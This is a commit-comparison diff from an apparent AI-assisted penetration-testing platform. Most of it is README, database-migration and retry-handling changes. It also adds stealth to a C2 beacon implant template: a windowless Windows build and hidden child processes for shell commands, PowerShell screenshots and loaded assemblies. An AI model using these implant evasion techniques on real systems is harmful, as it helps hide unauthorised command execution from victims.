Compare commits

...

36 Commits

Author SHA1 Message Date
公明 f4906543a8 Update config.yaml 2026-06-15 11:55:49 +08:00
公明 b073421637 Add files via upload 2026-06-15 11:55:04 +08:00
公明 08436c27aa Add files via upload 2026-06-15 11:49:53 +08:00
公明 25ce0b221f Add files via upload 2026-06-14 21:07:51 +08:00
公明 87e629f270 Add files via upload 2026-06-14 20:19:52 +08:00
公明 04f8d73b0e Add files via upload 2026-06-14 19:58:04 +08:00
公明 33e4f023b5 Add files via upload 2026-06-14 19:48:07 +08:00
公明 fc2e822448 Add files via upload 2026-06-14 19:46:13 +08:00
公明 7487c45799 Add files via upload 2026-06-14 19:43:59 +08:00
公明 6c4b3bf131 Add files via upload 2026-06-14 19:42:14 +08:00
公明 54cea1b172 Add files via upload 2026-06-13 19:56:09 +08:00
公明 b8775997e4 Add files via upload 2026-06-13 12:32:30 +08:00
公明 4223ec47f9 Add files via upload 2026-06-13 12:27:21 +08:00
公明 9887589d99 Add files via upload 2026-06-13 12:15:55 +08:00
公明 b7c01f41c7 Add files via upload 2026-06-13 12:08:04 +08:00
公明 1d3b4c44e1 Update config.yaml 2026-06-12 22:11:49 +08:00
公明 cbd64173b8 Add files via upload 2026-06-12 22:10:10 +08:00
公明 af71c6aa24 Add files via upload 2026-06-12 22:08:15 +08:00
公明 97a73a1cb6 Add files via upload 2026-06-12 22:06:41 +08:00
公明 83e1c707ca Add files via upload 2026-06-12 22:04:57 +08:00
公明 96ccbff77c Add files via upload 2026-06-12 21:28:51 +08:00
公明 c4bd8b93f6 Delete install-tools.sh 2026-06-12 21:26:22 +08:00
公明 d005268d28 Add files via upload 2026-06-12 19:43:38 +08:00
公明 7f4e8d2ad2 Add files via upload 2026-06-12 19:41:47 +08:00
公明 f3be355820 Add files via upload 2026-06-12 19:39:01 +08:00
公明 bf0ce33e3f Add files via upload 2026-06-12 19:36:45 +08:00
公明 4661862a1a Add files via upload 2026-06-11 18:03:09 +08:00
公明 f319a0f243 Add files via upload 2026-06-11 18:01:38 +08:00
公明 15c4802319 Add files via upload 2026-06-11 17:18:58 +08:00
公明 6ffde48b0c Add files via upload 2026-06-11 16:54:36 +08:00
公明 c5e2f0d95d Add files via upload 2026-06-11 16:02:48 +08:00
公明 28a826d5b7 Add files via upload 2026-06-11 15:56:25 +08:00
公明 6365de7018 Add files via upload 2026-06-11 11:50:31 +08:00
公明 2e4bf7197b Add files via upload 2026-06-11 11:48:17 +08:00
公明 ed4ba08163 Add files via upload 2026-06-11 11:46:23 +08:00
公明 8b5e55a673 Add files via upload 2026-06-11 11:44:20 +08:00
61 changed files with 3148 additions and 2024 deletions
+13 -7
View File
@@ -189,15 +189,21 @@ The `run.sh` script will automatically:
``` ```
- Or edit `config.yaml` directly before launching - Or edit `config.yaml` directly before launching
2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`) 2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`)
3. **Install security tools (optional)** - Install all tools declared under `tools/`: 3. **Install security tools (optional)** - Install tools from `tools/` as needed; missing tools are skipped or substituted at runtime. Common examples:
**macOS (Homebrew):**
```bash ```bash
./install-tools.sh # install missing tools (best on Kali/Debian/Ubuntu) brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
./install-tools.sh --check # check only, no install
./install-tools.sh --list # show per-tool status
./install-tools.sh --only nmap,gau # install selected tools only
``` ```
On macOS, install bash 4+ via Homebrew first; without apt, the script falls back to pip/go/GitHub.
AI automatically falls back to alternatives when a tool is missing. **Linux (Kali / Debian / Ubuntu):**
```bash
sudo apt update
sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
# On some distros, install ffuf/nuclei/subfinder via go install or upstream docs
```
See the `tools/` directory for the full list; refer to each tool's official docs for install details.
**Alternative Launch Methods:** **Alternative Launch Methods:**
```bash ```bash
+13 -7
View File
@@ -188,15 +188,21 @@ chmod +x run.sh && ./run.sh
``` ```
- 或启动前直接编辑 `config.yaml` 文件 - 或启动前直接编辑 `config.yaml` 文件
2. **登录系统** - 使用控制台显示的自动生成密码(或在 `config.yaml` 中设置 `auth.password` 2. **登录系统** - 使用控制台显示的自动生成密码(或在 `config.yaml` 中设置 `auth.password`
3. **安装安全工具(可选)** - 一键安装 `tools/` 目录声明的全部工具 3. **安装安全工具(可选)** - 按需安装 `tools/` 目录中的工具;未安装的工具在执行时会自动跳过或改用替代方案。常用示例
**macOSHomebrew):**
```bash ```bash
./install-tools.sh # 安装缺失工具 (Kali/Debian/Ubuntu 推荐) brew install nmap masscan sqlmap nikto gobuster ffuf hydra hashcat nuclei subfinder
./install-tools.sh --check # 仅检查, 不安装
./install-tools.sh --list # 列出各工具安装状态
./install-tools.sh --only nmap,gau # 只装指定工具
``` ```
macOS 自带 bash 3.2, 请用 `./install-tools.sh --install-bash --list` 自动安装 bash 4+; apt 不可用时会降级到 pip/go/GitHub。
未安装的工具在执行时会自动跳过或改用替代方案。 **LinuxKali / Debian / Ubuntu):**
```bash
sudo apt update
sudo apt install -y nmap masscan sqlmap nikto gobuster hydra hashcat john binwalk
# 部分发行版需自行安装:ffuf、nuclei、subfinder 等可用 go install 或见各工具官网
```
完整工具列表见 `tools/` 目录;各工具安装方式以官方文档为准。
**其他启动方式:** **其他启动方式:**
```bash ```bash
+1 -1
View File
@@ -10,7 +10,7 @@
# ============================================ # ============================================
# 前端显示的版本号(可选,不填则显示默认版本) # 前端显示的版本号(可选,不填则显示默认版本)
version: "v1.6.35" version: "v1.6.37"
# 服务器配置 # 服务器配置
server: server:
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口 host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
Binary file not shown.

Before

Width:  |  Height:  |  Size: 726 KiB

After

Width:  |  Height:  |  Size: 941 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 262 KiB

After

Width:  |  Height:  |  Size: 179 KiB

-1064
View File
File diff suppressed because it is too large Load Diff
+2 -2
View File
@@ -293,8 +293,8 @@ func registerListVulnerabilitiesTool(mcpServer *mcp.Server, db *database.DB, log
}, },
"status": map[string]interface{}{ "status": map[string]interface{}{
"type": "string", "type": "string",
"description": "按状态筛选:open、confirmed、fixed、false_positive", "description": "按状态筛选:open、confirmed、fixed、false_positive、ignored",
"enum": []string{"open", "confirmed", "fixed", "false_positive"}, "enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
}, },
"q": map[string]interface{}{ "q": map[string]interface{}{
"type": "string", "type": "string",
+18 -5
View File
@@ -160,6 +160,18 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
} }
f.Close() f.Close()
// 平台相关辅助源文件(如无窗口子进程)
for _, name := range []string{"proc_hide_windows.go", "proc_hide_unix.go"} {
helperSrc := filepath.Join(b.tmplDir, name+".tmpl")
helperData, readErr := os.ReadFile(helperSrc)
if readErr != nil {
return nil, fmt.Errorf("read helper %s: %w", name, readErr)
}
if writeErr := os.WriteFile(filepath.Join(workDir, name), helperData, 0644); writeErr != nil {
return nil, fmt.Errorf("write helper %s: %w", name, writeErr)
}
}
// 交叉编译 // 交叉编译
binName := strings.TrimSpace(in.OutputName) binName := strings.TrimSpace(in.OutputName)
if binName == "" { if binName == "" {
@@ -174,15 +186,16 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
return nil, fmt.Errorf("mkdir output: %w", err) return nil, fmt.Errorf("mkdir output: %w", err)
} }
absSrcPath, err := filepath.Abs(srcPath)
if err != nil {
return nil, fmt.Errorf("abs source path: %w", err)
}
absBinPath, err := filepath.Abs(binPath) absBinPath, err := filepath.Abs(binPath)
if err != nil { if err != nil {
return nil, fmt.Errorf("abs output path: %w", err) return nil, fmt.Errorf("abs output path: %w", err)
} }
cmd := exec.Command("go", "build", "-ldflags", "-s -w -buildid=", "-trimpath", "-o", absBinPath, absSrcPath) ldflags := "-s -w -buildid="
if goos == "windows" {
// 无控制台窗口运行 beacon 本体
ldflags += " -H windowsgui"
}
cmd := exec.Command("go", "build", "-ldflags", ldflags, "-trimpath", "-o", absBinPath, ".")
cmd.Env = append(os.Environ(), cmd.Env = append(os.Environ(),
"GOOS="+goos, "GOOS="+goos,
"GOARCH="+goarch, "GOARCH="+goarch,
+3 -1
View File
@@ -729,6 +729,7 @@ func runWithTimeout(cmdStr string, timeoutSec int) (string, error) {
timeoutSec = 60 timeoutSec = 60
} }
cmd := exec.Command(shellByOS(), shellFlag(), cmdStr) cmd := exec.Command(shellByOS(), shellFlag(), cmdStr)
prepareHiddenCmd(cmd)
cwdMu.Lock() cwdMu.Lock()
cmd.Dir = currentCwd cmd.Dir = currentCwd
cwdMu.Unlock() cwdMu.Unlock()
@@ -959,7 +960,7 @@ func taskScreenshot() (string, string, string, string) {
b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30) b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
case "windows": case "windows":
ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())` ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())`
b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -Command \"%s\"", ps), 30) b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command \"%s\"", ps), 30)
default: default:
return "", "", "", "screenshot not supported on " + runtime.GOOS return "", "", "", "screenshot not supported on " + runtime.GOOS
} }
@@ -1200,6 +1201,7 @@ func taskLoadAssembly(payload map[string]interface{}) (string, string, string, s
cmdArgs = strings.Fields(args) cmdArgs = strings.Fields(args)
} }
cmd := exec.Command(tmpFile, cmdArgs...) cmd := exec.Command(tmpFile, cmdArgs...)
prepareHiddenCmd(cmd)
cwdMu.Lock() cwdMu.Lock()
cmd.Dir = currentCwd cmd.Dir = currentCwd
cwdMu.Unlock() cwdMu.Unlock()
@@ -0,0 +1,9 @@
//go:build !windows
package main
import "os/exec"
func prepareHiddenCmd(cmd *exec.Cmd) {
_ = cmd
}
@@ -0,0 +1,18 @@
//go:build windows
package main
import (
"os/exec"
"syscall"
)
// prepareHiddenCmd 避免子进程弹出控制台窗口(cmd / powershell / 临时 exe 等)。
func prepareHiddenCmd(cmd *exec.Cmd) {
if cmd == nil {
return
}
// 仅用 HideWindow:等价于 CREATE_NO_WINDOW,且 macOS/Linux 交叉编译 Windows 时
// syscall.CREATE_NO_WINDOW 常量不可用。
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
}
+1 -1
View File
@@ -239,7 +239,7 @@ func (db *DB) CountBatchQueues(status, keyword string) (int, error) {
// GetBatchTasks 获取批量任务队列的所有任务 // GetBatchTasks 获取批量任务队列的所有任务
func (db *DB) GetBatchTasks(queueID string) ([]*BatchTaskRow, error) { func (db *DB) GetBatchTasks(queueID string) ([]*BatchTaskRow, error) {
rows, err := db.Query( rows, err := db.Query(
"SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY id", "SELECT id, queue_id, message, conversation_id, status, started_at, completed_at, error, result FROM batch_tasks WHERE queue_id = ? ORDER BY rowid ASC",
queueID, queueID,
) )
if err != nil { if err != nil {
+15 -5
View File
@@ -543,18 +543,28 @@ func (db *DB) UpdateConversationTime(id string) error {
return nil return nil
} }
// DeleteConversation 删除对话及其所有相关数据 // DeleteConversation 删除对话及其会话相关数据
// 由于数据库外键约束设置了 ON DELETE CASCADE,删除对话时会自动删除: // 由于数据库外键约束设置了 ON DELETE CASCADE,删除对话时会自动删除:
// - messages(消息) // - messages(消息)
// - process_details(过程详情) // - process_details(过程详情)
// - attack_chain_nodes(攻击链节点) // - attack_chain_nodes(攻击链节点)
// - attack_chain_edges(攻击链边) // - attack_chain_edges(攻击链边)
// - vulnerabilities(漏洞)
// - conversation_group_mappings(分组映射) // - conversation_group_mappings(分组映射)
// 注意:knowledge_retrieval_logs 使用 ON DELETE SET NULL,记录会保留但 conversation_id 会被设为 NULL // 漏洞记录会保留:vulnerabilities.conversation_id 使用 ON DELETE SET NULL,仅解除与会话的关联。
// 注意:knowledge_retrieval_logs 在删除前会被显式清理。
func (db *DB) DeleteConversation(id string) error { func (db *DB) DeleteConversation(id string) error {
// 删除对话前补全漏洞来源标签,便于在漏洞库中追溯已删除会话的发现。
_, err := db.Exec(`
UPDATE vulnerabilities
SET conversation_tag = COALESCE(NULLIF(TRIM(conversation_tag), ''), (SELECT title FROM conversations WHERE id = ?))
WHERE conversation_id = ?
`, id, id)
if err != nil {
db.logger.Warn("更新漏洞来源标签失败", zap.String("conversationId", id), zap.Error(err))
}
// 显式删除知识检索日志(虽然外键是SET NULL,但为了彻底清理,我们手动删除) // 显式删除知识检索日志(虽然外键是SET NULL,但为了彻底清理,我们手动删除)
_, err := db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id) _, err = db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
if err != nil { if err != nil {
db.logger.Warn("删除知识检索日志失败", zap.String("conversationId", id), zap.Error(err)) db.logger.Warn("删除知识检索日志失败", zap.String("conversationId", id), zap.Error(err))
// 不返回错误,继续删除对话 // 不返回错误,继续删除对话
@@ -567,7 +577,7 @@ func (db *DB) DeleteConversation(id string) error {
} }
db.removeConversationScopedDirs(id) db.removeConversationScopedDirs(id)
db.logger.Info("对话及其所有相关数据已删除", zap.String("conversationId", id)) db.logger.Info("对话已删除(漏洞记录已保留)", zap.String("conversationId", id))
return nil return nil
} }
@@ -0,0 +1,69 @@
package database
import (
"path/filepath"
"testing"
"go.uber.org/zap"
)
func TestDeleteConversationPreservesVulnerabilities(t *testing.T) {
tmp := t.TempDir()
dbPath := filepath.Join(tmp, "vuln-preserve.db")
db, err := NewDB(dbPath, zap.NewNop())
if err != nil {
t.Fatalf("NewDB: %v", err)
}
defer db.Close()
conv, err := db.CreateConversation("vuln source chat", ConversationCreateMeta{})
if err != nil {
t.Fatalf("CreateConversation: %v", err)
}
vuln, err := db.CreateVulnerability(&Vulnerability{
ConversationID: conv.ID,
Title: "SQL Injection",
Severity: "high",
Status: "open",
})
if err != nil {
t.Fatalf("CreateVulnerability: %v", err)
}
if err := db.DeleteConversation(conv.ID); err != nil {
t.Fatalf("DeleteConversation: %v", err)
}
got, err := db.GetVulnerability(vuln.ID)
if err != nil {
t.Fatalf("GetVulnerability after delete: %v", err)
}
if got.Title != "SQL Injection" {
t.Fatalf("title = %q, want SQL Injection", got.Title)
}
if got.ConversationID != "" {
t.Fatalf("conversation_id = %q, want empty after conversation delete", got.ConversationID)
}
if got.ConversationTag != "vuln source chat" {
t.Fatalf("conversation_tag = %q, want vuln source chat", got.ConversationTag)
}
}
func TestMigrateVulnerabilitiesConversationFK(t *testing.T) {
tmp := t.TempDir()
dbPath := filepath.Join(tmp, "vuln-fk-migrate.db")
db, err := NewDB(dbPath, zap.NewNop())
if err != nil {
t.Fatalf("NewDB: %v", err)
}
defer db.Close()
ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
if err != nil {
t.Fatalf("vulnerabilitiesConversationFKOnDeleteSetNull: %v", err)
}
if !ok {
t.Fatal("expected vulnerabilities.conversation_id FK to use ON DELETE SET NULL")
}
}
+116 -2
View File
@@ -357,7 +357,7 @@ func (db *DB) initTables() error {
createVulnerabilitiesTable := ` createVulnerabilitiesTable := `
CREATE TABLE IF NOT EXISTS vulnerabilities ( CREATE TABLE IF NOT EXISTS vulnerabilities (
id TEXT PRIMARY KEY, id TEXT PRIMARY KEY,
conversation_id TEXT NOT NULL, conversation_id TEXT,
conversation_tag TEXT, conversation_tag TEXT,
task_tag TEXT, task_tag TEXT,
title TEXT NOT NULL, title TEXT NOT NULL,
@@ -371,7 +371,8 @@ func (db *DB) initTables() error {
recommendation TEXT, recommendation TEXT,
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP, created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP, updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE CASCADE project_id TEXT,
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
);` );`
// 创建批量任务队列表 // 创建批量任务队列表
@@ -737,6 +738,9 @@ func (db *DB) initTables() error {
db.logger.Warn("迁移vulnerabilities表失败", zap.Error(err)) db.logger.Warn("迁移vulnerabilities表失败", zap.Error(err))
// 不返回错误,允许继续运行 // 不返回错误,允许继续运行
} }
if err := db.migrateVulnerabilitiesConversationFK(); err != nil {
db.logger.Warn("迁移vulnerabilities会话外键失败", zap.Error(err))
}
if err := db.migrateProjectsTable(); err != nil { if err := db.migrateProjectsTable(); err != nil {
db.logger.Warn("迁移projects相关表失败", zap.Error(err)) db.logger.Warn("迁移projects相关表失败", zap.Error(err))
@@ -1146,6 +1150,116 @@ func (db *DB) dropProjectFactVersionsTable() error {
return err return err
} }
// migrateVulnerabilitiesConversationFK 将 vulnerabilities.conversation_id 外键改为 ON DELETE SET NULL,删除对话时保留漏洞记录。
func (db *DB) migrateVulnerabilitiesConversationFK() error {
ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
if err != nil {
return err
}
if ok {
return nil
}
tx, err := db.Begin()
if err != nil {
return fmt.Errorf("开启事务失败: %w", err)
}
defer func() { _ = tx.Rollback() }()
const createNew = `
CREATE TABLE vulnerabilities_new (
id TEXT PRIMARY KEY,
conversation_id TEXT,
conversation_tag TEXT,
task_tag TEXT,
title TEXT NOT NULL,
description TEXT,
severity TEXT NOT NULL,
status TEXT NOT NULL DEFAULT 'open',
vulnerability_type TEXT,
target TEXT,
proof TEXT,
impact TEXT,
recommendation TEXT,
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
project_id TEXT,
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
);`
if _, err := tx.Exec(createNew); err != nil {
return fmt.Errorf("创建 vulnerabilities_new 失败: %w", err)
}
const copyRows = `
INSERT INTO vulnerabilities_new (
id, conversation_id, conversation_tag, task_tag, title, description,
severity, status, vulnerability_type, target, proof, impact, recommendation,
created_at, updated_at, project_id
)
SELECT
id, conversation_id, conversation_tag, task_tag, title, description,
severity, status, vulnerability_type, target, proof, impact, recommendation,
created_at, updated_at, project_id
FROM vulnerabilities;`
if _, err := tx.Exec(copyRows); err != nil {
return fmt.Errorf("复制 vulnerabilities 数据失败: %w", err)
}
if _, err := tx.Exec(`DROP TABLE vulnerabilities`); err != nil {
return fmt.Errorf("删除旧 vulnerabilities 表失败: %w", err)
}
if _, err := tx.Exec(`ALTER TABLE vulnerabilities_new RENAME TO vulnerabilities`); err != nil {
return fmt.Errorf("重命名 vulnerabilities 表失败: %w", err)
}
indexes := []string{
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_id ON vulnerabilities(conversation_id)`,
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_tag ON vulnerabilities(conversation_tag)`,
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_task_tag ON vulnerabilities(task_tag)`,
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_severity ON vulnerabilities(severity)`,
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_status ON vulnerabilities(status)`,
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_created_at ON vulnerabilities(created_at)`,
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id)`,
}
for _, stmt := range indexes {
if _, err := tx.Exec(stmt); err != nil {
return fmt.Errorf("重建 vulnerabilities 索引失败: %w", err)
}
}
if err := tx.Commit(); err != nil {
return fmt.Errorf("提交 vulnerabilities 外键迁移失败: %w", err)
}
db.logger.Info("vulnerabilities 表已迁移:删除对话时保留漏洞记录")
return nil
}
func vulnerabilitiesConversationFKOnDeleteSetNull(db *sql.DB) (bool, error) {
rows, err := db.Query(`PRAGMA foreign_key_list(vulnerabilities)`)
if err != nil {
return false, err
}
defer rows.Close()
found := false
for rows.Next() {
var id, seq int
var table, from, to, onUpdate, onDelete, match string
if err := rows.Scan(&id, &seq, &table, &from, &to, &onUpdate, &onDelete, &match); err != nil {
return false, err
}
if from == "conversation_id" {
found = true
if !strings.EqualFold(onDelete, "SET NULL") {
return false, nil
}
}
}
if err := rows.Err(); err != nil {
return false, err
}
return found, nil
}
// migrateVulnerabilitiesTable 迁移 vulnerabilities 表,补充标签字段 // migrateVulnerabilitiesTable 迁移 vulnerabilities 表,补充标签字段
func (db *DB) migrateVulnerabilitiesTable() error { func (db *DB) migrateVulnerabilitiesTable() error {
columns := []struct { columns := []struct {
+5 -5
View File
@@ -98,7 +98,7 @@ type Vulnerability struct {
Title string `json:"title"` Title string `json:"title"`
Description string `json:"description"` Description string `json:"description"`
Severity string `json:"severity"` // critical, high, medium, low, info Severity string `json:"severity"` // critical, high, medium, low, info
Status string `json:"status"` // open, confirmed, fixed, false_positive Status string `json:"status"` // open, confirmed, fixed, false_positive, ignored
Type string `json:"type"` Type string `json:"type"`
Target string `json:"target"` Target string `json:"target"`
Proof string `json:"proof"` Proof string `json:"proof"`
@@ -138,7 +138,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
_, err := db.Exec( _, err := db.Exec(
query, query,
vuln.ID, vuln.ConversationID, nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description, vuln.ID, nullIfEmpty(vuln.ConversationID), nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
vuln.Severity, vuln.Status, vuln.Type, vuln.Target, vuln.Severity, vuln.Status, vuln.Type, vuln.Target,
vuln.Proof, vuln.Impact, vuln.Recommendation, vuln.Proof, vuln.Impact, vuln.Recommendation,
vuln.CreatedAt, vuln.UpdatedAt, vuln.CreatedAt, vuln.UpdatedAt,
@@ -154,7 +154,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
func (db *DB) GetVulnerability(id string) (*Vulnerability, error) { func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
var vuln Vulnerability var vuln Vulnerability
query := ` query := `
SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status, SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status,
conversation_tag, task_tag, vulnerability_type, target, proof, impact, recommendation, conversation_tag, task_tag, vulnerability_type, target, proof, impact, recommendation,
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id, COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id, COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
@@ -183,7 +183,7 @@ func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
// ListVulnerabilities 列出漏洞 // ListVulnerabilities 列出漏洞
func (db *DB) ListVulnerabilities(limit, offset int, filter VulnerabilityListFilter) ([]*Vulnerability, error) { func (db *DB) ListVulnerabilities(limit, offset int, filter VulnerabilityListFilter) ([]*Vulnerability, error) {
query := ` query := `
SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag, SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
vulnerability_type, target, proof, impact, recommendation, vulnerability_type, target, proof, impact, recommendation,
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id, COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id, COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
@@ -403,7 +403,7 @@ func (db *DB) GetVulnerabilityFilterOptions() (map[string][]string, error) {
if err != nil { if err != nil {
return nil, fmt.Errorf("查询漏洞ID建议失败: %w", err) return nil, fmt.Errorf("查询漏洞ID建议失败: %w", err)
} }
conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id <> '' ORDER BY created_at DESC LIMIT 500`) conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id IS NOT NULL AND conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
if err != nil { if err != nil {
return nil, fmt.Errorf("查询会话ID建议失败: %w", err) return nil, fmt.Errorf("查询会话ID建议失败: %w", err)
} }
+26
View File
@@ -637,13 +637,26 @@ func (h *AgentHandler) runRobotEinoSingleWithRetry(
var resultMA *multiagent.RunResult var resultMA *multiagent.RunResult
var errMA error var errMA error
var transientRunAttempts int var transientRunAttempts int
var emptyResponseAttempts int
for { for {
resultMA, errMA = multiagent.RunEinoSingleChatModelAgent( resultMA, errMA = multiagent.RunEinoSingleChatModelAgent(
taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger, taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
conversationID, curMsg, curHist, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID), conversationID, curMsg, curHist, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID),
) )
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
taskCtx, conversationID, resultMA, errMA, &emptyResponseAttempts,
&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
)
if exhaustedEmpty {
errMA = nil
break
}
if handledEmpty {
continue
}
if errMA == nil { if errMA == nil {
transientRunAttempts = 0 transientRunAttempts = 0
emptyResponseAttempts = 0
break break
} }
if handled, _ := h.handleEinoTransientRetryContinue( if handled, _ := h.handleEinoTransientRetryContinue(
@@ -673,14 +686,27 @@ func (h *AgentHandler) runRobotMultiAgentWithRetry(
var resultMA *multiagent.RunResult var resultMA *multiagent.RunResult
var errMA error var errMA error
var transientRunAttempts int var transientRunAttempts int
var emptyResponseAttempts int
for { for {
resultMA, errMA = multiagent.RunDeepAgent( resultMA, errMA = multiagent.RunDeepAgent(
taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger, taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
conversationID, curMsg, curHist, roleTools, progressCallback, conversationID, curMsg, curHist, roleTools, progressCallback,
h.agentsMarkdownDir, orchestration, nil, h.projectBlackboardBlock(conversationID), h.agentsMarkdownDir, orchestration, nil, h.projectBlackboardBlock(conversationID),
) )
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
taskCtx, conversationID, resultMA, errMA, &emptyResponseAttempts,
&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
)
if exhaustedEmpty {
errMA = nil
break
}
if handledEmpty {
continue
}
if errMA == nil { if errMA == nil {
transientRunAttempts = 0 transientRunAttempts = 0
emptyResponseAttempts = 0
break break
} }
if handled, _ := h.handleEinoTransientRetryContinue( if handled, _ := h.handleEinoTransientRetryContinue(
+105 -58
View File
@@ -298,7 +298,7 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
} }
} }
// 获取外部MCP工具 // 获取外部MCP工具(走缓存,持锁期间通常不阻塞)
if h.externalMCPMgr != nil { if h.externalMCPMgr != nil {
ctx := context.Background() ctx := context.Background()
externalTools := h.getExternalMCPTools(ctx) externalTools := h.getExternalMCPTools(ctx)
@@ -359,9 +359,6 @@ type GetToolsResponse struct {
// GetTools 获取工具列表(支持分页和搜索) // GetTools 获取工具列表(支持分页和搜索)
func (h *ConfigHandler) GetTools(c *gin.Context) { func (h *ConfigHandler) GetTools(c *gin.Context) {
h.mu.RLock()
defer h.mu.RUnlock()
c.Header("Cache-Control", "no-store, no-cache, must-revalidate") c.Header("Cache-Control", "no-store, no-cache, must-revalidate")
// 解析分页参数 // 解析分页参数
